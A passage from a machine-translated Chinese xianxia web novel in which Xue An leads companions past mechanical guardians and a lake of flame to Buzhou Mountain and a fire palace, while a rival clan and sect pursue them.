    The second is that the star boulders here are in a delicate state of balance. Once external forces intervene, this balance is likely to be broken, causing these star boulders to enter a state of chaos again.


    At that time, even the route of travel may change.


    Therefore, Zhu Zhesheng and Yue Qinghuan were so cautious that they couldn''t be more cautious at this time. They didn''t even dare to breathe loudly and proceeded cautiously.


    As for Xue An, he only saw his expression indifferent, wandering among these star boulders with ease, like a stroll in a leisurely courtyard, without the slightest smoke of fireworks.


    After walking in this way for a while, Yue Qinghuan finally couldn''t help but ask: "Isn''t there yet?"


    Zhu Zhesheng shook his head, "Not yet!"


    "How far is that?"


    Zhu Zhesheng smiled bitterly: "To be honest, this is also the first time I have come here, because there are strict rules at home, unless you have to do it, you can never get into danger and enter here without permission! But it seems that it should be coming soon too!"


    Yue Qinghuan curled his lips, "Except that these big rocks are a little in the way, I don''t think there is any danger here, so timid?"


    Zhu Zhesheng looked embarrassed and just wanted to say something.


    At this moment, Xue An suddenly stopped, and then said in a deep voice, "Listen, there seems to be a strange noise!"


    The two immediately stopped and listened to the surrounding movement.


    After listening for a long time, there was nothing unusual except for the occasional collision.


    Yue Qinghuan couldn''t help but said, "I didn''t hear anything! Did you get it wrong?"


    "No, I will never hear it wrong, there was indeed a strange voice coming from just now!" Xue An said firmly.


    At the same time, Xue An''s eyes narrowed slightly, and his sharp eyes patrolled left and right, wanting to see some clues.


    But this time still nothing.


    This can''t help but make Xue An frown slightly, he can be sure that he will never misheard.


    It was a sound similar to mechanical rotation.


    But why did it suddenly disappear?


    The solemn expression on Xue An''s face also frightened Zhu Zhesheng, and he secretly swallowed saliva, cold sweat appeared on his forehead, and quietly leaned against Xue An.


    "Mr. Xue, can you find anything unusual?"


    Xue An shook his head, "Not yet."


    Yue Qinghuan said solemnly: "In this case, let''s hurry up, otherwise the more we delay here, the more dangerous it will be!"


    So far, it has no choice but to do so.


    Xue An nodded, and the three of them continued to move forward.


    But this time the three of them had just left without a cup of tea, and they heard strange noises again.


    And this time the three of them heard it together.


    Now Yue Qinghuan''s complexion also changed, "What''s the matter?"


    Zhu Zhesheng even trembled in his voice, "Why does this voice sound so crippled!"


    Just listen to the sound of gears turning from the surrounding star gravel.


    The voice was very monotonous, but it was approaching everyone in Xue An step by step.


    Suddenly!


    Xue An''s eyes were full of excitement, raised his hand, and blasted past Yue Qinghuan.


    Yue Qinghuan was surprised, but never dodged, because she knew that Xue An would never attack herself.


    really.


    I saw this palm brush from Yue Qinghuan''s ears, and directly blasted to the back.


    Bang!


    After a muffled sound, Yue Qinghuan and Zhu Zhesheng turned their heads and looked.


    I saw Xue An''s hand firmly against a mechanical tentacle extending from the star gravel.


    The tentacles exudes a cold metallic luster, and there are several sharp claws on the top.


    Seeing this scene, Yue Qinghuan couldn''t help being startled in a cold sweat.


    Just now, she was approached by such a killer tentacle without even noticing it.


    If Xue An hadn''t discovered it in time, the consequences would be unimaginable.


    Zhu Zhesheng even changed his voice, "What is this?"


    The cold light in Xue An''s eyes was bright, "I have known for a long time, how can there be no guards in a place that can be called Xianzong Dongfu?"


    "Guard?" Zhu Zhesheng exclaimed.


    As soon as the voice fell, this mechanical tentacles twisted like a living thing, and the strength was so great that even Xue An''s body began to tremble.


    Xue An sneered, "Want to escape? It''s not that easy!"


    As he said, Xue An''s palm snapped together and twisted in the opposite direction.


    Click! Click!


    Accompanied by a sour metal twisting sound, the tentacles were twisted into twists by Xue An, and then broke apart from the middle.


    Sparks splattered, gears mixed with unknown oil and scattered.


    Then the half-length tentacles quickly retracted into the darkness.


    Xue An casually threw away the other half in his hand, stepped out in one step, and wanted to pursue it.


    And just at this moment, I heard a loud rumbling noise.


    Not far from the three of them, several huge star boulders began to deform rapidly, and in the blink of an eye they turned into tall mechanical monsters.


    These monsters all waved their long tentacles and attacked towards Xue An.


    And from that powerful power, it can be seen that these mechanical monsters also have at least the strength of the Immortal Venerable.


    Yue Qinghuan''s eyes changed, and a flash came to Xue An''s side.


    "What are you doing?" Xue An said calmly without squinting.


    "Of course I am fighting side by side with you! After all, this is a mechanical creature of at least Xianzun level!" Yue Qinghuan said Ha ha! "Xue An chuckled softly, "You don''t need your help to deal with these big guys with no brains and gears! "


    He said, but seeing Xue An dodge the attack of a tentacle, and at the same time a little bit of the tip of the tentacle on his toe, he abruptly stepped on it.


    Immediately afterwards, Xue An rushed upward along the mechanical tentacle like a cable.


    In an instant, all the mechanical monsters aimed their targets at Xue An, and countless tentacles waved impenetrably, drew towards Xue An with head and face.


    But no matter how intensive the attack was, he couldn''t touch Xue An at all.


    I saw him dodging from left to right when he was advancing quickly, and dodge all attacks so wonderfully.


    After a while, Xue An rushed in front of the mechanical monster and kicked it out.


    Boom!


    With a dull loud noise, this mechanical monster was kicked out by Xue An and exploded in the air.

 Chapter 2239： Fire shrine

    The whole process seemed complicated, but in fact, it only took less than a flick of a finger to wipe out a mechanical monster by Xue An.


    Seeing this, Yue Qinghuan couldn''t help shrinking his pupils, and whispered softly: "This guy...seems to be much stronger again! At this speed, even if there is no such thing as a chance, at most three years, you will be promoted to the Immortal Venerable!"


    And when she was speaking, the other mechanical monsters were also solved by Xue An simply and neatly.


    The whole process didn''t even take a minute.


    Then Xue An reappeared in front of the two of them, and said in a calm tone: "Take advantage of this now, hurry up!"


    With the voice, the surrounding star gravel began to rumbling, and it was obviously deformed.


    Zhu Zhesheng, who was already stunned, woke up immediately, and then looked down at the red-and-white tattoo on his arm.


    "Quick, go here!"


    The three immediately speeded up and ran in the direction indicated by the tattoo.


    And as soon as they left, all the star-boulders around them turned into mechanical guards.


    But at this time, Xue An and the three had already left this area and went deeper.


    Without finding the intruder, these mechanical guards made a weird roar together, and then waved their tentacles frantically, pushing up all the large floating star gravels nearby.


    In an instant, the entire interior of the Sea of ??Star Gravels was stirred.


    The stones that had been calm for countless years began to crash wildly, making the entire core area chaotic.


    This time, the Zhai family and the Wushen Sect who had just arrived in the core area were embarrassed.


    "What''s going on? Why is the sea of ??star gravel that has been calm suddenly so violent!" Zhai Dewen asked in surprise, while avoiding a big rock that rushed straight towards him.


    But although he avoided, the few elders standing behind him were not so lucky.


    Just heard a scream, and then these elders were crushed into meatloaf by this violent star gravel.


    Not only that, but the elites of the Zhai family who rushed to the front suffered heavy losses.


    Because the speed of these star boulders is so fast, and there are no rules at all.


    In the case of insufficient strength, all attacks are the same as tickles to these big rocks.


    Therefore, in the blink of an eye, the Zhai family was reduced by at least 30%.


    These are all the elites cultivated by the Zhai family painstakingly.


    Zhai Dewen felt that his heart was dripping with blood, and couldn''t help but shout: "My Lord Saint, help out, otherwise the longer the delay, the more difficult it will be for us to break through here!"


    Hearing what he said, the saint who had been standing still only took a slow move.


    Her strength can be described as the highest in the audience, plus the blessing of the wizard god, so she quickly controlled the restless situation around her.


    But she was not in a hurry, and because of this delay, several masters in the Zhai family died.


    Seeing this scene, Zhai Dewen knew that this witch **** cult was deliberate, in order to reduce his own strength.


    But helpless, the situation is better than people, so he can only dare not speak.


    At this time, the saint smiled lightly: "I''m sorry Patriarch Zhai, I just didn''t know how to deal with these runaway stars, so please forgive me for the delay!"


    Zhai Dewen smiled and said, "It''s okay!"


    "Okay, then please let Patriarch Zhai continue to lead the way!"


    Zhai Dewen dared not say anything, so he continued to lead the Zhai family to lead the way.


    But this time, everyone who was still full of greed, thinking that the Immortal Cave Mansion was nothing but something in their own pockets were all sober.


    He also began to cringe as he marched.


    Even so, after moving forward for a while, they finally encountered a mechanical monster.


    Unprepared, the Zhai family lost at least half of its manpower at that time.


    After finally getting rid of these mechanical monsters, the shocked Zhai Dewen looked back and found that there were only a dozen people left with him when he came, and all of them were wounded.


    On the contrary, the shamanism has suffered very little loss.


    This was like a scoop of cold water, which made Zhai Dewen shudder, and at the same time there was a trace of regret in his heart.


    If I had known this, I would never cooperate with this witch **** cult.


    At this moment, Zhai Zhuqing, who didn''t know how to survive fortunately, didn''t even get hurt, said in a nearly pleading tone.


    "My father, I don''t know how far away from the Immortal Cave Mansion, we have all the casualties, so we should withdraw quickly, otherwise we may have to explain it here!"


    Zhai Dewen''s face was pale, and then he smiled softly, "I don''t know the truth? But do you think that by now, this witch **** will let us go?"


    "For today''s plan, the only way to find Xianzong Dongfu as soon as possible!"


    At this time, the old woman of the Sorcerer God Sect walked over and said with a smirk: "Patriarch Zhai, Master Saint asked me to ask you, why can''t you stop and leave?"


    Zhai Dewen quickly changed into a smiling face, "I was just taking a break, let''s leave now!"


    "That''s good, Master Saint also said that when you get here, you are not far from the Xianzong Dongfu. Patriarch Zhai shouldn''t retreat at this time, otherwise you will give up all your efforts!"


    "Yes, yes! Please rest assured, Lord Saint, these Zhaimou understand!"


    With that said, Zhai Dewenchong''s injured and disabled generals said: "Go, let''s go!"


    When he moved forward, the smile on the old woman''s face gradually became cold, turning into a cold murderous intent.


    "At this point, your life doesn''t belong to you anymore, and you want to save your strength? What a daydream!"


    Just when the Zhai Family and the Wushen Sect were pregnant with ghosts, they were marching towards the Immortal Cave House.


    The three of Xue An finally followed this path to a very mysterious place.


    Looking at the light curtain emitting a faint orange-yellow light in front of him, the expression on Zhu Zhesheng''s face gradually became excited.


    "It''s finally here, its light is like fire... This is the edge of the Xianzong Dongfu. As long as you pass through this barrier, you will be the real Xianzong Dongfu."


    Yue Qinghuan walked to the front of the light curtain when he reached out his hand to touch, he was stopped by Xue An.


    "Do not move!"


    Yue Qinghuan stopped his hand and turned to look at Xue An, "What''s wrong?"


    Xue An stared deeply at this light curtain, his eyes were full of mixed lustre of joy and shock, and then slowly said.


    "This light curtain seems to be thin, but in fact it possesses extremely powerful power. Once touched, it will surely cause the sky to burn. With your current strength, even if you don''t die, you will be seriously injured!"


    Yue Qinghuan was shocked, "Skyfire burns his body?"


    Xue An nodded and let out a sigh of relief slowly, "I think I know what exactly this Xianzong Dongfu is for cultivation!"


    "With the sky fire as the boundary, this is obviously a fire cultivating site!"


    As he said, Xue An stretched out his hand, and a red flame appeared in the palm of his hand, which was the divine flame he possessed.


    And at this moment, this divine flame was beating in Xue An''s hands endlessly, as if a person was cheering, appearing extremely excited.

 Chapter 2240： Step into the lotus

    Zhu Zhesheng stared at the jubilant flame in Xue An''s hand blankly, and whispered in his mouth: "Huo Xiu Daochang..."


    Suddenly!


    As if he was thinking of something, he was shocked and blurted out: "I remember, there was indeed a legend in the family that this fairy sect cave mansion was left by an ancient master of fire repair! It''s just that I don''t know later. What reason was abandoned."


    Yue Qinghuan glared, "Why are you talking about such an important thing now?"


    Zhu Zhesheng smiled bitterly, "I didn''t pay attention to these words at all, but regarded them as a legend."


    Speaking of this, Zhu Zhesheng looked straight, "Mr. Xue, I said before that the family strictly forbids us to approach here, one is because of the danger of the sea of ??stars and gravel, and the second is because of the powerful light curtain."


    "Back then, there was an ancestor of the Zhu family who did not believe in evil and wanted to cross this layer of light. As a result, he lost countless elites and was still unable to enter. Even he was injured by the sky fire. Therefore, he set strict rules to prohibit future generations Get into it."


    "But if you want to enter it, you must pass through this light curtain, but I don''t know what Mr. Xue can do?"


    After all, Zhu Zhesheng looked at Xue An hopefully.


    Xue An chuckled lightly when he heard the words, then raised his eyes and looked at the orange light curtain.


    "The light is like fire, everything is infused. With such a barrier, it''s no wonder that you won''t be able to enter the family, but for me, it''s easy!"


    Speaking of this, but seeing Xue An stretched out a finger, there was a ray of flame floating on the fingertip, and then he poked forward, which happened to be in the light curtain.


    boom!


    Under this finger, the entire light curtain shone brightly.


    It was as if being activated by Xue An''s finger, and then I saw that with Xue An''s finger as the center, the entire light curtain began to rotate slowly, and a vortex appeared.


    Xue An remained unmoved, but gave a soft sigh.


    "open!"


    With an order, the flames at his fingertips swelled, and it was instantly integrated with this light curtain.


    The restless sky fire instantly quieted down, and even the entire light curtain no longer flickered.


    Then I saw the light curtain receding to both sides, slowly giving way to a path.


    The whole process took only a few seconds in total, which made it impossible for more than a dozen generations of Zhu''s family to enter. The light curtain, which looked like a moat, opened a path with ease.


    Zhu Zhesheng looked at him dumbfounded, and felt a little silly for a while.


    Until Xue An yelled softly, "Go!"


    He just woke up like a dream, and quickly followed Xue An into the light curtain.


    After the three of them passed through the passage, the light curtain was closed again in a moment, and it was restored as before, without any clues.


    "This...Is this the Xianzong Dongfu?" Zhu Zhesheng said with trembling lips.


    There is no other reason, but the scene in front of you is too shocking.


    I saw that after passing through the light curtain, the first thing that came into view was an endless surface of water.


    The surface of the water was so vast that there was no idea where the edge was.


    And in the extreme distance, there stands a majestic mountain.


    No one knows how high this mountain is, because its top is completely submerged in the white mist.


    With such a scene of Zeguo, no one would believe that this would be a fire cultivator.


    Xue An couldn''t help raising his eyebrows slightly, "That''s right here!"


    "But how can such a large water area appear in the Huo Xiu Daochang?" Yue Qinghuan asked.


    Xue An chuckled, "Do you really think this is water?"


    "Is not it?"


    Xue An didn''t say a word, but took out a piece of spirit stone from his arms and threw it towards the distant waters.


    The spirit stone drew an arc, and it was about to fall into the water.


    At this moment, the originally calm waters suddenly became agitated, and then I saw a raging flame bursting from the place where the spirit stone fell.


    The flame exudes a faint cyan color, and it wraps the spirit stone as soon as it appears.


    Bang!


    With a burst, the spirit stone, which was able to withstand the high temperature of ten thousand degrees, burst into pieces at that time, and then was completely burned into nothingness by this cyan flame.


    Seeing this scene, Zhu Zhesheng and Yue Qinghuan were all disillusioned.


    Xue An said lightly: "Did you see it, the waters seem calm, but in fact it is a sea of ??flames!"


    The complexions of the two Yue Qinghuan became extremely ugly.


    Because if even the spirit stone can be burned into nothingness, then how can it be possible to survive this sea of ??flames only with the flesh and blood of human beings.


    "What do you do now? Are you here already but you have to return without success?" Yue Qinghuan asked.


    Xue An shook his head, "Of course it is impossible to return without success, but it does need to think about it!"


    With that said, Xue An began to walk around the waters.


    The two of them held their breath and dared not speak.


    After a while, Xue An suddenly chuckled, "Interesting, it''s really worthy of being the Huo Xiu Daochang, this hand of Ten Thousand Fire Knot Sealing technique is really beautiful!"


    As he said, Xue An turned his head and looked at the two of them, "If it''s just me, then just go straight there, but you two are different. The fire is extremely domineering this day, so you must follow me closely later. , There must be no mistake, understand?"


    The two nodded their heads, and Zhu Zhesheng even said: "Don''t worry, Mr. Xue, I will never hold you back!"


    Xue An waved his hand, and the two flames flew above Yue Qinghuan and Zhu Zhesheng''s heads.


    "In fact, there will be no problem. With my flame protection, even if the fire is overbearing this day, it will give you a bit of face!"


    As he said, Xue An stood by the water, cast his eyes on the towering mountain in the distance, and whispered: "It''s just why I think this mountain is a bit weird!"


    "What?" Yue Qinghuan, who was standing by, did not hear what Xue An said, so he asked.


    "Nothing!" Xue An smiled, did not explain, but said solemnly: "Are you ready?"


    "Ready!"


    "Great!"


    As soon as the good character was exported, Xue An had already stepped onto the waters.


    boom!


    The flames were everywhere, and an orange flame rose into the sky and went straight to Xue An.


    Zhu Zhesheng screamed, UU read "Be careful, sir!"


    Xue An chuckled, "It''s okay!"


    With the voice, the brilliance flashed in his eyes, and a ray of sparkling flame appeared in front of his eyebrows.


    It is Xue An''s own red lotus industry fire.


    As soon as the red lotus industry fire broke out, it rushed to Xue An''s feet, and the boiling flame suddenly became tame, and then slowly converged back, and finally turned into an orange lotus.


    This magical scene made Yue Qinghuan and Zhu Zhesheng a little dumbfounded.


    At this moment, Xue An said solemnly: "Step on this lotus flower and follow me!"


    The two shook together, and then they stepped on the lotus that was purely condensed by flames.


    Unexpectedly, even with the weight of three people, this lotus is still stable.


    Looking down, you can even see the unfathomable lake underneath through the orange flames.

 Chapter 2241： Not Zhoushan! !

    Xue An didn''t talk nonsense, and continued to move forward.


    Similar to the beginning, flames will rise to the sky every next step, but under the suppression of the red lotus karma fire between Xue An''s eyebrows, they all obediently condense into a lotus for the three people to walk.


    Soon, the three of them have penetrated into the lake.


    At this time, the color of the lotus flower was close to the cyan that had just burned the spirit stone to nothingness. Even so, after stepping on it, he still couldn''t feel any heat.


    But no one would doubt the horror of this flame.


    Yue Qinghuan couldn''t help but said: "The flame is already so terrifying before it reaches the center of the lake, what color should the flame be behind?"


    "I guess it should be black! After all, along the way, the color of this flame is gradually getting darker!"


    "Not necessarily, I think it''s white when it''s dark, and it should be white!"


    The two began to discuss the color of the flame, but Xue An didn''t say a word, striding forward.


    Sure enough, the color of the flame began to gradually deepen, changing from cyan to dark blue, and finally turned into a color similar to dark green.


    At this point, Yue Qinghuan and Zhu Zhesheng stopped talking.


    Because the flames here are almost black, when it turns into a lotus flower, it still exudes a terrifying power. One can imagine how high its temperature should be.


    When the lotus color completely turned black, the journey was finally over half of the time.


    At this time, Xue An suddenly stopped.


    "What''s the matter?" Yue Qinghuan asked immediately.


    Xue An took a deep breath, feeling the joy and expectation of the red lotus fire between his eyebrows, and then said in a deep voice: "It''s nothing, it''s just a little shock!"


    Yue Qinghuan was a little surprised.


    From the first time I saw Xue An, until now I came to this outer sky, this was the first time Yue Qinghuan heard Xue An say the word shock.


    She even thought that Xue An would always look like Taishan collapsed in front of her, and she would never be shocked.


    But now I don��t seem to see anything?


    So what is he shocking?


    Yue Qinghuan was a little confused.


    At the same time, Xue An continued to move forward.


    This time, when the flame condensed into a lotus flower, the color seemed to become a little lighter, but the power became stronger.


    Soon, after dozens of steps, the color of the flame has become almost pure white.


    And the red lotus industry fire between Xue An''s eyebrows was even more restless. If it weren''t for Xue An''s pressure, I would have liked to fly into the lake now.


    Yue Qinghuan and Zhu Zhesheng were unclear, because they didn''t know that the red lotus fire used by Xue An was actually originally formed by smelting two kinds of flames.


    And one of the flames is the almost pure white flame at the foot.


    At that time, Xue An got this white flame known as God Flame in an extremely accidental situation.


    Although there is only a ray of candlelight, it still possesses unmatched power.


    Relying on it, Xue An had successfully cultivated to the position of Immortal Venerable in his first life.


    At that time, Xue An thought that this kind of flame must be an extremely rare abnormal fire.


    But I never expected that after I arrived at this fire cultivating site, I would look at the boundless "surface of water" in front of me, and the lotus flower condensed by pure white flames under my feet.


    Even Xue An couldn''t help being a little speechless.


    This feeling is as if an old farmer who has never seen the world took his most proud baby to the palace, and found that even the floor tiles here are more valuable than his own baby. It is full of frustration and powerlessness. The sense of.


    However, Xue An did not indulge in this feeling for too long, and saw that he took a deep breath, calmed the restless red lotus karma, and continued to walk forward in great strides.


    At this time, the mountain was already in sight.


    And the closer you get, the more you can feel the huge mountain peak.


    It''s like a giant standing up and down, full of oppression.


    As we get closer, we can even see some buildings standing under the mountain.


    This made all three of them refreshed, and then speeded up and rushed forward.


    In the blink of an eye, the three of them had already crossed a large area of ??water. When the color of the flame lotus had become almost transparent, they finally saw the buildings on the other side.


    Xue An said solemnly: "Be prepared and fly over!"


    "Great!"


    After setting foot on the lotus flower again, the three of them lifted their stature, flew over this section of water in an instant, and then landed on the land.


    The moment they landed, all three of them were ready to defend against the enemy.


    Unexpectedly, the surroundings were extremely quiet, and there were no traps or guards as expected.


    Yue Qinghuan was relieved, but Zhu Zhesheng looked back and found that the lotus flower was still there when he came, and he couldn''t help but hesitate.


    "Mr. Xue, are these lotus flowers just placed like this?"


    "What? Is there a problem?"


    "Uh...Of course there is no problem, but if someone from the Zhai family comes..."


    "Don''t worry, if they don''t leave these lotus flowers, it''s okay. If they really want to leave, they will definitely be a big surprise!"


    While talking, Xue An looked up at the buildings in front of him.


    It can be seen that these buildings should have been used for mortals to live in. Taverns and tea shops are readily available, just like a small town.


    It''s just that the town is empty at the moment, there is not even a trace of wind, it is like a dead place.


    The three of them walked across the street in the town, and Yue Qinghuan couldn''t help frowning.


    "Strange, if this Xianzong Dongfu is abandoned by others, why is everything in this small town in order, without any trace of fighting?"


    "Yeah! I just saw the door of a tavern still open, and there were wine bowls on the table, but I didn''t even see a corpse! It was as if the people in this small town had suddenly evaporated together. ."


    Speaking of this, Zhu Zhesheng couldn''t help fantasizing the horrible scene, and then he gave Lingling a chill.


    Xue An didn''t say a word, but speeded up his pace with a sinking face.


    This small town is not big, and I quickly passed through to the foot of the mountain.


    When I got closer, I discovered that the mountain was red all over, as if it had been burned by fire, and there was a stone path winding up.


    But Xue An''s attention was not on these, he looked down at the foundation of the mountain that was connected to the ground, showing a thoughtful look.


    "What''s the matter?" Yue Qinghuan also looked down for a long time, but found nothing unusual, so he couldn''t help asking.


    "Don''t you think that this mountain seems to be incomplete, as if... only half of it was left, and then it was put here!" Xue An said in a deep voice.


    The two of Yue Qinghuan were startled, UU read immediately and found that the place where this mountain meets the ground is a bit strange.


    It''s like being put here.


    Zhu Zhesheng trembled: "If only half of it is so high, how high should this mountain be before? Who has such great ability to break it and put it here?"


    Xue An did not say a word, but ascended the steps and strode up.


    The two followed closely behind.


    At their speed, they arrived halfway up the mountain in the blink of an eye, and then a platform appeared in front of them.


    There is a mountain gate archway made of flawless beautiful jade on the platform.


    Although the archway has been damaged, the plaque is still there.


    I saw three characters written on it in an extremely ancient seal script.


    Not Zhoushan!


    Upon seeing these three words, Xue Anru was struck by lightning and froze in place.

 Chapter 2242： Ancient gods

    "What''s the matter? Is there anything wrong?" Yue Qinghuan noticed Xue An''s strangeness and immediately asked.


    She had never seen such a shocked look on Xue An''s face, as if something happened that he couldn''t even understand.


    Xue An finally recovered after hearing this, then slowly exhaled and shook his head, "Nothing!"


    Despite this, his voice still trembled slightly.


    Seeing this, Yue Qinghuan wisely closed his mouth and stopped questioning.


    Because she knew very well that something must have happened that she couldn''t understand, otherwise Xue An would not have been so gloomy.


    But the question is what happened?


    Is it okay just now?


    Could it be that this mountain gate archway is different?


    Yue Qinghuan couldn''t help looking around, wanting to see what could shock Xue An so much.


    But she never dreamed that the reason why Xue An was so gaffey was only due to the three words on the memorial arch.


    Not Zhoushan!


    In ancient Chinese myths and legends, this mountain is the Optimus Prime, and at the same time, it is the only way to communicate between the human world and the heavens except for the East China Sea Fuso.


    Later, due to the incompatibility between the ancient Water God Gonggong and Vulcan Zhu, a great battle was caused. During this great battle, Gonggong ran into the mountains in anger, which eventually led to the collapse of the Tianzhu and the severance of the ground.


    There was such a record in the article "Huainanzi �� Astronomy Training".


    The sky is broken, the earth is boundless, the sky is tilted to the northwest, so the sun, the moon and the stars move away, and the earth is dissatisfied with the southeast, so the water is in the dust.


    This means that because of the break of the mountain, the sky dome that lost its support tilts to the northwest, and the sun, moon, and stars move along with it, and the land in the southeast collapses, causing floods to fill the sky.


    So the ancient legends such as Nuwa patching the sky and so on came out later.


    This is a familiar story for almost every Chinese since childhood, and Xue An is no exception.


    But no matter who it is, they just treat it as a myth.


    Unexpectedly, he saw the real Bu Zhoushan in this outer sky today.


    Although only half of it, Xue An still felt a great horror.


    Because this at least shows one thing, that is, the ancient myths and legends of the Chinese people are not false, at least this Zhoushan is real.


    And if Zhoushan does not exist, then Gonggong, Zhu Rong, and even Nuwa will also exist.


    As a result, the whole thing became more convoluted.


    Why does Bu Zhou Mountain, the ancient Chinese legend, appear here?


    Where is the remaining half?


    Who put it here?


    Since these ancient gods are real, where have they all gone now?


    Why didn''t they appear in that Chinese catastrophe?


    These countless questions flooded Xue An''s heart, making him a little dazed, who had always been determined by Dao.


    But soon he suppressed all the doubts in his heart, and said solemnly: "Let''s go! That Xianzong Dongfu should be on the top of the mountain."


    After all, Xue An strode to the top of the mountain.


    Yue Qinghuan and Zhu Zhesheng looked at each other, they all didn''t understand what happened to Xue An.


    However, the two of them quickly put the question behind them, and followed after them.


    And just as Xue An''s group strode to the top of the mountain, the Zhaijia and Wushenjiao group finally passed through layers of hardships and came out of the light curtain.


    When he saw the orange light curtain, Zhai Dewen immediately became excited and shouted: "My Lord Saint, here it is, this should be where the Immortal Cave Mansion is!"


    When he said this, Zhai Dewen had a sore nose and almost shed tears.


    Because after this journey, there are not many people left, and only a few elders and his own daughter are left behind.


    The elite of the clan with whom he set off without exception, all died on the road for various reasons.


    All this caused Zhai Dewen to feel great pressure, so when he finally saw the Immortal Zong Dongfu, he almost shed tears of joy.


    Great!


    I finally got it out!


    At the same time, the saint of the witch **** sect led her subordinates to step closer, and after taking a look at the light curtain in front of her, she turned around and glanced at the old woman.


    The old woman nodded at her imperceptibly.


    This saint smiled her face, "Sure enough, it is Xianzong Dongfu, you really are the Patriarch of the hard work!"


    Zhai Dewen shook his head quickly, "My Lord Saint is too polite, it''s just a matter of Zhai! The key now is that this light curtain is obviously not where we are waiting, how do we go through the past?"


    "Haha!" The saint chuckled, "Patriarch of the Patriarch will not bother you, I have been prepared for this!"


    After all, I saw the saint waved to the person behind her.


    These people of the witch gods sect immediately stepped forward, and arranged the formations of the law enforcement devices in their hands.


    Zhai Dewen blinked, and he didn''t understand what the shamanism was going to do.


    Do you want to dance before this light curtain?


    But the next second, his eyes opened instantly.


    Because at this moment, when I saw these people of the witch gods, they suddenly shouted together, and then they began to recite a very strange scripture.


    Along with the chanting, they also waved the magic weapon in their hands.


    In the blink of an eye, the yin wind raged in the void, and a burst of black air kept rushing towards this light curtain.


    These black gases seem to have some kind of extremely corrosiveness, once it is contaminated on the light curtain, it will corrode immediately.


    However, in a moment, the light curtain dimmed at a speed visible to the naked eye, and then with a light click, a large hole was broken.


    "Patriarch Zhai, please!" The saint said lightly, and then stepped into it.


    Zhai Dewen shuddered, because he had learned the weird and terrifying witch **** cult for the first time.


    But seeing Xianzong Dongfu was already in front of him, under the influence of greed, Zhai Dewen finally gritted his teeth.


    "go!"


    The group of people quickly passed through the light curtain, but when they saw the lotus flowers on the lake, the saint could not help but change her color. UU reading


    "No! Someone got on first!"


    As soon as this statement came out, everyone was a commotion.


    This is too desperate.


    After all the hardships, I finally came outside the Xianzong Dongfu, but I didn''t expect that someone had already made the first step.


    The saint''s face was pale, and Zhai Dewen was sweating profusely.


    "How can this happen, who will be the first to board at this time?"


    Zhai Zhuqing on the side suddenly paled and said, "It''s a holy blessing."


    "How is it possible that he is not locked in the Zuisheng Building in Linglong City?" Zhai Dewen couldn''t believe it.


    Zhai Zhuqing said in a trembling tone, "But he is the only one who knows this Immortal Cave Mansion besides us!"


    "Don''t worry about so much, now it''s the most important thing to enter that mountain first. Looking at it this way, it shouldn''t have been too long for Saint Zhu Zhe. We still have a chance!"

 Chapter 2243： Fire Palace

    As one of the chief elders of Zhai''s family was talking, he couldn''t wait to board the lotus flower closest to the shore.


    But as soon as he stepped on the lotus flower, he heard a bang, and a flame rose into the sky, directly enclosing him.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh


    "Elder!" Zhai Dewen couldn''t help screaming, trying to step forward to save him.


    But at this time, he was firmly held by his daughter Zhai Zhuqing.


    "It''s useless, you can''t save him, he is dead!" Zhai Zhuqing trembled.


    really.


    I saw that the great elder only struggled a few times, and then fell straight back. Before his body touched the lake, he was directly burned into fly ash by the flame and disappeared.


    hiss!


    The audience couldn''t help but breathe in air.


    You must know that those who can come here are not easy people. This great elder is the number one presence in the Zhai family, but he did not expect that he would be burned to fly ash just by stepping on the lotus flower.


    How terrible is this lotus flower?


    Just as everyone was horrified, the saint suddenly gave a cold snort.


    "A mere flame, dare to stop me? The witch **** appears!"


    boom!


    An extremely terrifying power emerged from her body, and then a virtual image of the green-faced witch **** appeared in front of everyone.


    The shaman god''s face was vague, and sitting staggeringly, it was terrifying in his heart.


    Then I saw this shaman god, slowly stretched out his hand, and pressed it down.


    Halfway through the hand, it turned into an extremely huge palm, which was built right on top of the big lake, like a bridge, connecting the shore and the big mountain.


    boom!


    Flames erupted from the lake under the palm, scorching the palm frantically.


    The power of the green face witch **** quickly dissipated.


    "Go! This sorcerer can only support a quarter of an hour!" The saint shouted in a deep voice, and then took the lead and rushed forward.


    When everyone saw this scene, they immediately followed.


    Those who can get here are all resounding strong, so the group of people quickly crossed the lake, came to the foot of the mountain, and quickly climbed up the steps.


    At the same time, the three of Xue An finally climbed to the top of the peak of Buzhou Mountain.


    You must know that with the speed of the three of them, you can span thousands of miles in a short time.


    But that''s it, they still took a long time to reach the top, which shows how towering this mountain is.


    At this moment, the surrounding environment has become almost pure black, like a vast space.


    In such an environment, a palace stands alone.


    The palace is very desolate and primitive, and it is full of traces of fighting. Even so, there is still a breathtaking magic power that makes people afraid to look directly at it.


    "Fire Palace..." Zhu Zhesheng whispered out the plaque hanging above the palace, and then looked at Xue An with excitement.


    "Mr. Xue, this should be the real Xianzong Dongfu!"


    Xue An didn''t show any joy, and even his eyes became extremely quiet.


    "The secret of Zhu''s family that has been waiting for decades is finally revealed in my hands!" Zhu Zhesheng was so excited that he couldn''t help himself, and couldn''t help walking forward, wanting to enter the palace as soon as possible.


    But just when he took a step, even when his toes just touched the ground, his whole person suddenly disappeared.


    That''s right.


    It is disappearing in the literal sense.


    As if some kind of magical force erased him directly, he disappeared without a trace in an instant.


    Upon seeing this, Yue Qinghuan couldn''t help screaming, "How..."


    Before the second word of the matter was said, she also disappeared.


    Such a sudden change is enough to make anyone confused, but Xue An only raised his eyebrows slightly, and then raised his eyes to look forward.


    Because at this moment, the scene in front of him also changed in an instant.


    The empty void above his head disappeared, replaced by countless strands of flames as lights, like a tall dome filled with stars.


    The ground under your feet has also turned into floor tiles polished with red spar.


    But all of this is not the main thing. The main thing is that a tall shrine suddenly appeared in the front, and a statue of **** stands above the shrine.


    This idol was wearing a crimson robe. Although his face was hidden by darkness and could not be seen clearly, he could still feel the incomparably majestic aura on him.


    Standing in front of him, even Xue An looked extremely small at this moment.


    Xue An''s eyes were like two burning flames, staring at the statue, and then slowly said: "Vulcan Zhu Rong?"


